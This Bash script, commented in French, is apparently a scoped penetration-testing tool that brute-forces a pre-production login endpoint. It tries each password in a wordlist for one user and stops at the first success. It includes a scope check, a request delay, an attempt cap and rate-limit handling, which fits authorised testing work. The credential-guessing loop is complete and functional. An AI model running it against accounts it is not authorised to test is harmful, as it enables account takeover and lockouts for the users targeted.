#!/usr/bin/env bash # brute-login.sh — teste la robustesse de l'authentification de la # preprod par énumération de mots de passe sur un utilisateur connu. # # USAGE # ./brute-login.sh [targets.env] # # Comportement : # - lit la wordlist LOGIN_WORDLIST (un mot de passe par ligne) ; # - pour chaque entrée, émet POST LOGIN_PATH avec {{USER}}/{{PASS}} ; # - considère réussite si le code HTTP == LOGIN_SUCCESS_CODE ; # - s'arrête à la première réussite (ou à LOGIN_MAX_ATTEMPTS) ; # - journalise les tentatives dans $OUTPUT_DIR/brute-login.log. # # Le délai REQUEST_DELAY espace les requêtes (voir docs/scope.md). # Voir targets.example.env pour tous les paramètres. COMMON_SH="$(cd "$(dirname "$0")/../.." && pwd)/lib/common.sh" # shellcheck disable=SC1091 source "$COMMON_SH" load_target "${1:-}" mkdir -p "${OUTPUT_DIR:-./output}" LOG="${OUTPUT_DIR:-./output}/brute-login.log" : > "$LOG" [[ -f "${LOGIN_WORDLIST}" ]] \ || die "Wordlist introuvable : ${LOGIN_WORDLIST} (réglez LOGIN_WORDLIST dans targets.env)" # URL absolue de login (LOGIN_PATH peut être relatif ou absolu dans le périmètre). login_url() { case "$LOGIN_PATH" in http*) printf '%s' "$LOGIN_PATH" ;; /*) printf '%s%s' "$TARGET_BASE_URL" "$LOGIN_PATH" ;; *) printf '%s/%s' "$TARGET_BASE_URL" "$LOGIN_PATH" ;; esac } URL="$(login_url)" assert_in_scope "$URL" info "Cible : $URL" info "Utilisateur : ${LOGIN_USERNAME}" info "Wordlist : ${LOGIN_WORDLIST}" info "Succès si code == ${LOGIN_SUCCESS_CODE}" info "Délai : ${REQUEST_DELAY}s entre requêtes" info "Journal : $LOG" # Construit le corps de la requête pour un couple (user, pass). # Deux formats selon LOGIN_CONTENT_TYPE : "json" ou "form". build_body() { local user="$1" pass="$2" local ct="${LOGIN_CONTENT_TYPE:-json}" case "$ct" in form) if [[ -n "${LOGIN_BODY_FORM:-}" ]]; then printf '%s' "${LOGIN_BODY_FORM//\{\{USER\}\}/$user}" \ | sed "s/{{PASS}}/$(printf '%s' "$pass" | sed 's/[&/\]/\\&/g')/" else # form-urlencoded : grant_type=password + user + pass. # Encodage minimal des caractères spéciaux pour URL. local u p u="$(printf '%s' "$user" | sed 's/[&+/@=%]/\\&/g')" p="$(printf '%s' "$pass" | sed 's/[&+/@=%]/\\&/g')" printf 'grant_type=password&%s=%s&%s=%s' \ "$LOGIN_USER_FIELD" "$u" "$LOGIN_PASS_FIELD" "$p" fi ;; json|*) if [[ -n "${LOGIN_BODY_JSON:-}" ]]; then printf '%s' "${LOGIN_BODY_JSON//\{\{USER\}\}/$user}" \ | sed "s/{{PASS}}/$(printf '%s' "$pass" | sed 's/[&/\]/\\&/g')/" else # Construction JSON simple, échappement basique. local u p u="$(printf '%s' "$user" | sed 's/[\\"]/\\&/g')" p="$(printf '%s' "$pass" | sed 's/[\\"]/\\&/g')" printf '{"%s":"%s","%s":"%s"}' \ "$LOGIN_USER_FIELD" "$u" "$LOGIN_PASS_FIELD" "$p" fi ;; esac } # En-tête Content-Type selon le format. content_type_header() { case "${LOGIN_CONTENT_TYPE:-json}" in form) printf 'application/x-www-form-urlencoded' ;; *) printf 'application/json' ;; esac } count=0 found=0 while IFS= read -r pass || [[ -n "$pass" ]]; do # ignore lignes vides et commentaires [[ -z "$pass" || "$pass" == \#* ]] && continue count=$((count + 1)) if [[ "${LOGIN_MAX_ATTEMPTS}" != "0" && "$count" -gt "${LOGIN_MAX_ATTEMPTS}" ]]; then info "Limite LOGIN_MAX_ATTEMPTS=${LOGIN_MAX_ATTEMPTS} atteinte, arrêt." break fi body="$(build_body "$LOGIN_USERNAME" "$pass")" http_probe POST "$URL" \ -H "Content-Type: $(content_type_header)" \ --data "$body" code="$LAST_CODE" printf '%s\t%s\t%s\n' "$(date -Is)" "$code" "$pass" >> "$LOG" drop_body if [[ "$code" == "${LOGIN_SUCCESS_CODE}" ]]; then ok "Connexion réussie avec : $pass (code $code après $count tentatives)" found=1 break fi # Anti-lockout : si on voit un 429 (trop de requêtes) ou un 403 # persistant, on prévient plutôt que de marteler. if [[ "$code" == "429" ]]; then warn "Code 429 (rate limit) reçu — la cible limite les tentatives. Pause + longue." sleep 5 fi pace done < "${LOGIN_WORDLIST}" if [[ "$found" -eq 0 ]]; then warn "Aucun mot de passe trouvé après $count tentatives. Voir $LOG." exit 1 fi